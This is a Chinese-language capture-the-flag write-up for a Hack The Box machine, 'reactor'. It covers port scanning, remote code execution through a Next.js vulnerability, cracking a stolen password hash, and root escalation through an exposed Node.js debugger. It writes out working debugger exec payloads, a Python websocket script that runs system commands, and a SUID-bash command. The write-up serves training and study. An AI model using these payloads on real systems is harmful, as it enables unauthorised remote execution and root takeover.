端口扫描

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/reactor]
└─$ sudo nmap -p- --min-rate 10000 reactor.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-03 18:02 CST
Nmap scan report for reactor.htb
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp

Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
┌──(kali㉿kali)-[~/HTB/reactor]
└─$ sudo nmap -sT -sC -sV -O -p22,3000 reactor.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-03 18:03 CST
Nmap scan report for reactor.htb (10.129.245.214)
Host is up (0.15s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Wed, 03 Jun 2026 10:03:16 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Wed, 03 Jun 2026 10:03:17 GMT
| Connection: close
| Help, NCP:
| HTTP/1.1 400 Bad Request
|_ Connection: close
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.16 seconds

web 渗透

看上去 3000 端口是个 web ,访问看看,发现是个 Next.js

image

于是就用之前的 Next.jsCVE-2025-55182 漏洞脚本进行测试,发现可以进行 RCE:

image

于是反弹 shell 即可:

image

提权

发现有一个 reactor.db ,拿到本地查看,发现里面有一个 engineer 的密码哈希:

image

刚好这个 engineer 用户也是一个系统用户,因此密码直接拿去 cmd5 进行解密,解密出来是 reactor1 ,于是进行 ssh 登录:

image

ps aux 发现 root 用户 在 9229 端口运行着一个服务:

image

询问了一下 AI ,他说这是开启了一个 Node.js调试协议,可以连接到这个调试器,可以执行恶意的代码。

方案一

于是我们在本地用 node inspect 127.0.0.1:9229 来进行了连接,同时执行了 id 命令:

image

其中,第一条 exec require('child_process').execSync('id').toString() 没有成功,第二条 exec global.process.mainModule.constructor._load('child_process').execSync('id').toString() 执行成功了。

方案二

或者,也可以把 9229 端口给通过 ssh 端口转发出来:

1
ssh engineer@reactor.htb -L 9229:127.0.0.1:9229

然后访问 http://127.0.0.1:9229/json 来获得调试的 ws url:

image

接着用如下的脚本进行命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import websocket
import json

ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:9229/50216850-50ba-4c11-a5b6-6fe7fff72696")

# 启用 Runtime 域
ws.send(json.dumps({"id": 1, "method": "Runtime.enable"}))
# 这里可能会收到一些响应,也可以直接忽略
print(ws.recv())

# 执行命令
cmd = "global.process.mainModule.constructor._load('child_process').execSync('id').toString()"
ws.send(json.dumps({
"id": 2,
"method": "Runtime.evaluate",
"params": {"expression": cmd, "returnByValue": True}
}))

# 循环读取消息,直到找到 id=2 的响应
while True:
msg = json.loads(ws.recv())
if msg.get("id") == 2:
result = msg.get("result", {}).get("result", {}).get("value")
print("命令输出:", result)
break
else:
# 打印其他事件(如日志)便于调试
print("其他消息:", json.dumps(msg, indent=2))

ws.close()

image

以上的两种方案都能实现命令执行。

接着拿 shell 即可:

exec global.process.mainModule.constructor._load('child_process').execSync('cp /bin/bash /home/engineer/bash;chmod +s /home/engineer/bash').toString()

image

拿到了 root flag。